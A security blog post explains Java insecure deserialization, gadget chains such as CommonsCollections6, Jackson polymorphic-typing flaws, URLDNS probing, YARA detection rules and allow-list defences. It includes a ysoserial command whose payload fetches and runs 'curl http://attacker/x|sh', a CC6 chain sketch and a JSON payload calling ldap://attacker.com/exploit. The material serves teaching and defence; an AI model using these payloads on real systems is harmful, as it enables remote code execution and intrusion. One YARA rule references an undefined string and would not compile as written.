Back to Blog
Red Teaming

Deserialization Attacks Explained: Exploiting Insecure Java Object Mapping

OffSec Research Team
10 June 2026 • 09:00 AM14 min
Deserialization Attacks Explained: Exploiting Insecure Java Object Mapping
TL;DR — Java's native serialization turns objects into byte streams and back again. If an application deserializes data an attacker can influence, and the classpath contains the right "gadget" classes, those bytes become remote code execution. This article explains the readObject magic that makes it dangerous, builds intuition for ysoserial gadget chains like CommonsCollections, and argues that allow-list filtering — not blocklists — is the only durable defence.

Executive Summary

Insecure deserialization has lived near the top of the OWASP risk lists for a decade because it is both common and catastrophic. The vulnerability is conceptually simple: serialization is the process of converting an in-memory object graph into a flat byte stream (for storage, caching, session state, or network transfer), and deserialization reverses it. The danger is that deserialization reconstructs arbitrary objects and runs code during reconstruction — so if the byte stream is attacker-controlled, the attacker partly controls what objects come into being and what their reconstruction does.

In Java specifically, the combination of (1) a permissive native serialization format, (2) "magic methods" invoked automatically during deserialization, and (3) large libraries full of classes with dangerous side effects produces a reliable path to remote code execution. The public tool ysoserial turned this from research into a point-and-click capability years ago.

The Mechanism: Serializable and the Magic Methods

A Java class opts into native serialization by implementing java.io.Serializable. Serialization writes the object's fields to a stream; deserialization (ObjectInputStream.readObject()) reads them back and reconstructs the object.

Crucially, deserialization does not call the normal constructor. Instead it invokes special magic methods if they exist on the class being reconstructed:

java
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {    in.defaultReadObject();    // ANY code here runs automatically during deserialization}

Other hooks — readResolve(), readObjectNoData(), validateObject(), and finalize() — also run automatically. The attacker's leverage is this: they choose which classes appear in the stream, and the JVM will dutifully invoke those classes' magic methods. If a class on the classpath has a readObject (or a chain of method calls reachable from one) that does something dangerous, the attacker can trigger it.

diagram — rendering…
flowchart TD
    A["Attacker crafts a malicious<br/>serialized byte stream"] --> B["App calls<br/>ObjectInputStream.readObject()"]
    B --> C["JVM reconstructs objects<br/>named in the stream"]
    C --> D["Magic methods fire:<br/>readObject / readResolve"]
    D --> E["Gadget chain of method calls<br/>across library classes"]
    E --> F["Sink: Runtime.exec /<br/>reflective method invoke"]
    F --> G["Remote Code Execution"]
    style B fill:#1a230c,stroke:#fca311,color:#fef3c7
    style F fill:#2a0c14,stroke:#ef233c,color:#fee2e2
    style G fill:#2a0c14,stroke:#ef233c,color:#fee2e2

Where Untrusted Bytes Get Deserialized

The vulnerability requires a source of attacker-controlled bytes reaching a readObject. Common real-world sources:

SourceExample
HTTP parameters / cookiesBase64-encoded Java objects in a session/state cookie
RMI / JMXRemote method invocation endpoints accept serialized objects
Message queuesJMS messages carrying serialized payloads
Caching layersDistributed caches storing serialized session state
FrameworksOlder app servers, Apache frameworks, and middleware that serialize over the wire

If you can spot a Base64 blob that decodes to bytes starting with the Java serialization magic AC ED 00 05 (or rO0 in Base64), you have very likely found a deserialization entry point.

text
JAVA SERIALIZED STREAM SIGNATURE Hex:     AC ED 00 05 ...Base64:  rO0AB...        ← spotting "rO0" in a parameter is a strong tell

Gadget Chains: Turning Classes Into Weapons

A single class with a dangerous readObject is rare. The breakthrough insight (Gabriel Lawrence & Chris Frohoff, 2015) was that you can chain the side effects of multiple benign-looking classes so that the end of the chain reaches a code-execution sink. This is a gadget chain.

The most famous is CommonsCollections (CC), built from Apache Commons Collections — a library present on countless classpaths. Its Transformer classes can be composed:

  • ConstantTransformer — returns a fixed object (e.g. Runtime.class).
  • InvokerTransformer — reflectively invokes a named method on its input.
  • ChainedTransformer — applies a sequence of transformers in order.

By chaining ConstantTransformer(Runtime.class) → InvokerTransformer("getMethod", ...) → InvokerTransformer("invoke", ...) → InvokerTransformer("exec", ...), the chain reflectively calls Runtime.getRuntime().exec("calc"). A LazyMap or TransformingComparator wrapper provides the trigger that fires the chain during deserialization (e.g. via AnnotationInvocationHandler.readObject calling Map.get).

diagram — rendering…
flowchart LR
    A["readObject trigger<br/>(AnnotationInvocationHandler /<br/>BadAttributeValueExpException)"] --> B["LazyMap.get()"]
    B --> C["ChainedTransformer"]
    C --> D["ConstantTransformer<br/>→ Runtime.class"]
    D --> E["InvokerTransformer<br/>getRuntime()"]
    E --> F["InvokerTransformer<br/>exec(cmd)"]
    F --> G["OS command executes"]
    style A fill:#1a230c,stroke:#fca311,color:#fef3c7
    style G fill:#2a0c14,stroke:#ef233c,color:#fee2e2

ysoserial automates building these payloads for dozens of libraries:

text
# Generate a CommonsCollections gadget that runs a command$ java -jar ysoserial.jar CommonsCollections5 'curl http://attacker/x|sh' > payload.bin # Deliver it wherever the app deserializes untrusted bytes:$ curl -b "session=$(base64 -w0 payload.bin)" https://victim/app

The critical mental model: the vulnerability is the deserialization of untrusted data; the gadget chain is just whichever path through the available libraries reaches a sink. Different classpaths → different usable gadgets, but the root cause is the same.

A Catalogue of Gadget Sources

Gadget familyLibraryNotes
CommonsCollections1–7Apache Commons CollectionsThe classic; works on many JVM/library versions
CommonsBeanutilsApache Commons BeanUtilsCommon in Spring-adjacent stacks
Spring1/2Spring frameworkWidespread enterprise presence
GroovyGroovy runtimeIf Groovy on classpath
Jdk7u21 / JRE8u20JDK internals"Pure JDK" chains needing no third-party lib
Hibernate, JSON libsORM / JSONSome JSON libs (Jackson/Fastjson) have their own deserialization RCE classes via polymorphic typing

The existence of pure-JDK gadget chains (e.g. Jdk7u21) is important: it means "we don't use Commons Collections" is not a defence. The attack surface is the deserialization call itself, not any single library.

Beyond Native Serialization: JSON and Friends

Native Java serialization is the classic case, but the same class of bug appears in any deserializer that can be told which types to instantiate:

  • Jackson (polymorphic typing via @JsonTypeInfo / enableDefaultTyping) — attacker specifies a class in JSON; if a dangerous "deserialization gadget" class is reachable, RCE follows. This produced a long parade of CVEs.
  • Fastjson — @type directive let attackers specify arbitrary classes; multiple RCE waves and bypasses.
  • XStream, SnakeYAML, .NET `BinaryFormatter`/Json.NET TypeNameHandling, Python `pickle`, Ruby Marshal/YAML — every ecosystem has its version.
The unifying principle: any time data is allowed to dictate which types are constructed, you have potential code execution. The format (binary, JSON, YAML, XML) is irrelevant; the polymorphic, type-controlling behaviour is the flaw.

Detection and Testing

For defenders and testers assessing an application:

ApproachWhat it finds
Traffic inspectionrO0/AC ED blobs in params, cookies, headers, message bodies
Code reviewCalls to ObjectInputStream.readObject(), XMLDecoder, unsafe Jackson enableDefaultTyping, Fastjson parseObject with autotype
Dependency auditPresence of known-gadget libraries on the classpath
Active testingDNS/OOB gadgets (e.g. URLDNS) to confirm deserialization without needing RCE
SAST/DASTTools flag deserialization sinks and unsafe configurations

The URLDNS gadget is especially valuable for safe confirmation: it makes the target perform a DNS lookup to an attacker-controlled domain during deserialization, proving the sink is live without running commands — ideal for authorised testing where you want a non-destructive proof.

Defence: Allow-lists, Not Blocklists

The single most important point of this article:

You cannot fix deserialization by blocklisting dangerous classes. New gadget chains are discovered constantly, pure-JDK chains exist, and blocklists are always one disclosure behind. Durable defence is an allow-list of the exact classes the application legitimately needs to deserialize — everything else is rejected.

Concrete controls, in order of preference:

  • Don't deserialize untrusted data at all. The best fix. Use data-only formats (plain JSON without polymorphic typing, Protocol Buffers) where the deserializer cannot be told to instantiate arbitrary types.
  • Allow-list with `ObjectInputFilter`. Java 9+ ships ObjectInputFilter (back-ported as JEP 290); configure a strict allow-list of permitted classes globally or per-stream. Reject everything else.
  • Disable polymorphic typing. In Jackson, never enable default typing on untrusted input; in Fastjson, disable autotype; prefer explicit, narrow type binding.
  • Sign / encrypt serialized state. If you must serialize state to the client (e.g. session cookies), authenticate it with an HMAC so attackers cannot forge or tamper with the bytes.
  • Segment and least-privilege. Run deserializing services with minimal OS privileges and restricted egress so a successful gadget cannot easily call home or pivot.
  • Keep libraries patched. Update Jackson/Fastjson/XStream/etc. promptly; many CVEs are gadget/bypass fixes.
diagram — rendering…
flowchart TD
    A["Untrusted bytes arrive"] --> B{"Must we<br/>deserialize them?"}
    B -->|No| C["Use data-only format<br/>(JSON / protobuf)"]
    B -->|Yes| D["ObjectInputFilter<br/>strict ALLOW-LIST"]
    D --> E{"Class permitted?"}
    E -->|No| F["Reject the stream"]
    E -->|Yes| G["Construct only known-safe types"]
    style C fill:#0c2a22,stroke:#21d48e,color:#d1fae5
    style D fill:#0c2a22,stroke:#21d48e,color:#d1fae5
    style F fill:#0c2a22,stroke:#21d48e,color:#d1fae5

Anatomy of a ysoserial Gadget Chain: CommonsCollections6 in Detail

Understanding why a gadget chain works — not just that it does — separates researchers who can adapt to novel classpaths from those who are stuck running a list of tool flags. CommonsCollections6 (CC6) is an excellent dissection target because it works against both Java 8 and Java 9+ (unlike CC1, which relies on AnnotationInvocationHandler behaviour that changed), and the trigger mechanism is elegant.

diagram — rendering…
flowchart TD
    A["readObject() on<br/>java.util.HashSet"] --> B["HashSet.readObject calls<br/>element.hashCode()"]
    B --> C["TiedMapEntry.hashCode() calls<br/>getValue()"]
    C --> D["LazyMap.get() calls<br/>transform(key) if absent"]
    D --> E["ChainedTransformer executes<br/>InvokerTransformer sequence"]
    E --> F["Runtime.exec(cmd)"]
    style A fill:#1a230c,stroke:#fca311,color:#fef3c7
    style F fill:#2a0c14,stroke:#ef233c,color:#fee2e2

The chain in concrete terms:

  • Trigger: Java's HashSet.readObject() reconstructs the set by calling hashCode() on each element to recompute bucket placement. This is a natural, innocuous readObject hook — HashSet is a standard JDK class.
  • Bridge to LazyMap: the element placed in the set is a TiedMapEntry (Commons Collections), whose hashCode() calls getValue(), which in turn calls this.map.get(this.key).
  • Into the transformer: this.map is a LazyMap. LazyMap.get() — if the key is absent — calls factory.transform(key), where factory is the attacker-supplied ChainedTransformer.
  • The payload: the ChainedTransformer runs ConstantTransformer(Runtime.class) → InvokerTransformer("getMethod") → InvokerTransformer("invoke") → InvokerTransformer("exec", cmd).

Key insight: every class in this chain is doing something its API was designed for. HashSet is computing hash buckets. LazyMap is lazily initialising a missing key. InvokerTransformer is calling a method reflectively. No single class is "malicious"; the danger lives in the composition and ordering. This is what makes gadget-chain detection hard — static analysis on any individual class finds nothing wrong.

java
// Sketch of what ysoserial builds internally (CC6):final String cmd = "calc";final Transformer[] transformers = new Transformer[] {    new ConstantTransformer(Runtime.class),    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},                            new Object[]{"getRuntime", new Class[0]}),    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},                            new Object[]{null, new Object[0]}),    new InvokerTransformer("exec",   new Class[]{String.class},                            new Object[]{cmd}),    new ConstantTransformer(1)};ChainedTransformer chain = new ChainedTransformer(transformers);Map innerMap   = new HashMap();Map lazyMap    = LazyMap.decorate(innerMap, chain);// Wrap in TiedMapEntry → HashSet, craft to trigger on deserialization

URLDNS: The Safe Confirmation Gadget

Before reaching for an RCE chain, testers should first use the URLDNS gadget to confirm deserialization is live without executing any OS command:

bash
# Generate a DNS-interaction payload pointing at your OOB listenerjava -jar ysoserial.jar URLDNS 'http://YOUR-RANDOM.burpcollaborator.net' > dns_probe.bin # Deliver and watch your DNS listener — a hit confirms readObject is calledcurl -H "Content-Type: application/x-java-serialized-object" \     --data-binary @dns_probe.bin https://victim/api/endpoint

URLDNS uses only JDK classes (HashMap → URL.hashCode() → DNS lookup), so it fires on any JVM regardless of third-party libraries. It is the standard first step: if the DNS hit arrives, the sink is live and an appropriate RCE gadget for the classpath is the next task.

Deserialization in Specific Frameworks

Spring Framework

Spring's RemoteInvocationSerializingExporter and HTTP Invoker expose endpoints that deserialize incoming RemoteInvocation objects. Older deployments using Spring's SerializableUtils or custom HttpInvokerServiceExporter endpoints are direct readObject calls on attacker-controlled data.

text
VULNERABLE SPRING PATTERNPOST /api/invoker HTTP/1.1Content-Type: application/x-java-serialized-object <serialized RemoteInvocation payload — or ysoserial Spring1/Spring2 gadget>

Spring's ClassInfo and SerializableTypeWrapper classes have also featured in gadget chains. The Spring1/Spring2 ysoserial modules target Spring-specific classes. The defensive posture is the same — ObjectInputFilter allow-listing — but the entry points are Spring-specific and developers often forget that Spring's RMI/HTTP-invoker support is a readObject surface.

Jackson Polymorphic Typing: enableDefaultTyping

The Jackson family of bugs is worth separating from native Java serialization because the attack shape is different: the gadget is specified inside JSON rather than in a binary stream.

json
// MALICIOUS JSON when enableDefaultTyping() is active:["com.sun.rowset.JdbcRowSetImpl", {"dataSourceName":"ldap://attacker.com/exploit","autoCommit":true}]

When ObjectMapper.enableDefaultTyping() is enabled (or the insecure @JsonTypeInfo(use=Id.CLASS) is used on a polymorphic field), Jackson will attempt to instantiate the class named in the first array element. JdbcRowSetImpl makes a JNDI/LDAP lookup to attacker infrastructure on setAutoCommit, triggering JNDI injection (log4shell's cousin). The CVE parade — CVE-2017-7525, CVE-2019-14379, CVE-2020-8840, and more — all follow the same template: a new "unsafe" class is added to the blocklist after it is discovered to be exploitable, and a new one is found.

text
JACKSON RCE CVE PATTERNDiscovery: new gadget class found in popular libraryResponse:  Jackson adds class to blocklistNext week: another gadget class found in different libraryLesson:    blocklists cannot win; disable polymorphic typing on untrusted data

Hibernate and ORM Deserializers

Hibernate's second-level cache (EHCache, Infinispan) serializes and deserializes entity objects. If the cache backend is accessible to the network (Redis, Memcached clusters visible in a multi-tenant environment), an attacker who can write a crafted entry to the cache can cause Hibernate to deserialize it on the next read — with the full application classpath available for gadget-chain selection.

Detection with YARA Rules

Security teams can hunt for Java deserialization payloads in network captures, log files, and memory dumps using YARA signatures targeting the magic bytes and known gadget-class strings.

yara
rule JavaDeserialization_MagicBytes {    meta:        description = "Detects Java serialized object stream header"        reference   = "CVE-class: Insecure Java Deserialization"    strings:        $magic_hex  = { AC ED 00 05 }        $magic_b64  = "rO0AB" ascii wide    condition:        any of them} rule JavaDeserialization_CommonsCollections {    meta:        description = "Detects CommonsCollections gadget chain indicators in payload"    strings:        $cc1 = "org.apache.commons.collections.Transformer" ascii wide        $cc2 = "InvokerTransformer" ascii wide        $cc3 = "ChainedTransformer" ascii wide        $cc4 = "ConstantTransformer" ascii wide    condition:        $magic_hex and 2 of ($cc*)} rule JavaDeserialization_SpringGadget {    meta:        description = "Detects Spring deserialization gadget indicators"    strings:        $s1 = "org.springframework" ascii wide        $s2 = "ClassPathXmlApplicationContext" ascii wide        $magic = { AC ED 00 05 }    condition:        $magic and any of ($s*)} rule JavaDeserialization_URLDNS_Probe {    meta:        description = "Detects URLDNS safe-probe gadget — may indicate active recon"    strings:        $magic = { AC ED 00 05 }        $url   = "java.net.URL" ascii wide        $map   = "java.util.HashMap" ascii wide    condition:        $magic and all of ($url, $map)}

These rules are useful in several contexts:

ContextApplication
Network IDS/IPS (Snort/Suricata YARA integration)Alert on Java magic bytes in HTTP bodies, cookies, or RMI traffic
SIEM / log correlationFlag Base64 parameters starting with rO0
Memory forensicsScan process memory dumps for gadget-class strings
Endpoint DLPCatch serialized objects in unexpected file locations
Incident responseIdentify attacker-crafted payloads in web server access logs

Beyond YARA, JVM-level detection via Java Agents (e.g. SerialKiller, or custom agents using java.lang.instrument) can instrument ObjectInputStream.readObject() at the JVM level and apply real-time allow-list checks, logging, or stack-trace recording — providing coverage inside any JVM process without code changes to the application.

Conclusion and Takeaways

Insecure deserialization endures because it sits at the intersection of two things developers rarely scrutinise: a convenient language feature (turn this byte stream back into objects) and the transitive libraries on the classpath (which collectively contain method chains nobody audited for abuse). The result is that "just load my session object" becomes "run my command," and the gap between those two is bridged automatically by the JVM's willingness to invoke magic methods on attacker-chosen classes.

The defensive message is unusually clear-cut for a vulnerability class this dangerous: stop deserializing untrusted data, and where you cannot, enforce a strict allow-list with `ObjectInputFilter`. Blocklists, "we removed Commons Collections," and library-version chasing are all rear-guard actions that the steady drip of new gadget chains will eventually defeat. Treat any readObject on attacker-influenced bytes — in any language, in any format that permits polymorphic typing — as a latent remote code execution until proven otherwise. The byte stream that looks like harmless cached state is, until you constrain it, a program the attacker gets to write.